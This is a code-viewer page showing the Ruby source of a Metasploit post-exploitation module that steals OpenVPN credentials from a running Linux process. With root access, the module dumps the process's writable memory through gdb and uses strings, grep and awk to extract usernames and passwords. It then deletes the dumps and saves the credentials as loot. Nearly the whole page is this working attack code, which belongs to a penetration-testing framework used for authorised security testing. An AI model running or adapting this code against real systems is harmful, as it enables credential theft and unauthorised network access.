Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/openvpn_credentials.rb
31166 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Linux::Priv
9
include Msf::Post::Linux::System
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'OpenVPN Gather Credentials',
16
'Description' => %q{
17
This module grab OpenVPN credentials from a running process
18
in Linux.
19
20
Note: --auth-nocache must not be set in the OpenVPN command line.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'rvrsh3ll', # Discovery
25
'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit Module
26
],
27
'Platform' => ['linux'],
28
'SessionTypes' => ['shell', 'meterpreter'],
29
'References' => [
30
['URL', 'https://gist.github.com/rvrsh3ll/cc93a0e05e4f7145c9eb#file-openvpnscraper-sh'],
31
[ 'ATT&CK', Mitre::Attack::Technique::T1003_007_PROC_FILESYSTEM ]
32
],
33
'Notes' => {
34
'Stability' => [CRASH_SAFE],
35
'SideEffects' => [],
36
'Reliability' => []
37
}
38
)
39
)
40
41
register_options([
42
OptInt.new('PID', [true, 'Process IDentifier to OpenVPN client.']),
43
OptString.new('TMP_PATH', [true, 'The path to the directory to save dump process', '/tmp/'])
44
])
45
end
46
47
def pid
48
datastore['PID']
49
end
50
51
def tmp_path
52
datastore['TMP_PATH']
53
end
54
55
def run
56
user = cmd_exec('/usr/bin/whoami')
57
print_good("Module running as \"#{user}\" user")
58
59
unless is_root?
60
print_error('This module requires root permissions.')
61
return
62
end
63
64
cmd = "/bin/grep rw-p /proc/#{pid}/maps | "
65
cmd << 'sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | '
66
cmd << "while read start stop; do /usr/bin/gdb --batch-silent --silent --pid #{pid} -ex \"dump memory #{tmp_path}#{pid}-$start-$stop.dump 0x$start 0x$stop\"; done 2>/dev/null; echo $?"
67
dump = cmd_exec(cmd)
68
69
if dump.chomp.to_i != 0
70
print_warning('Could not dump process.')
71
return
72
end
73
74
vprint_good('Process dumped successfully.')
75
76
strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'")
77
78
deldump = cmd_exec("/bin/rm #{tmp_path}*.dump --force 2>/dev/null; echo $?")
79
if deldump.chomp.to_i == 0
80
vprint_good('Removing temp files successfully.')
81
else
82
print_warning('Could not remove dumped files. Remove manually.')
83
end
84
85
fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty?
86
87
vprint_good("OpenVPN Credentials:\n#{strings}")
88
89
p = store_loot(
90
'openvpn.grab',
91
'text/plain',
92
session,
93
strings,
94
nil
95
)
96
print_status("OpenVPN Credentials stored in #{p}")
97
end
98
end
99
100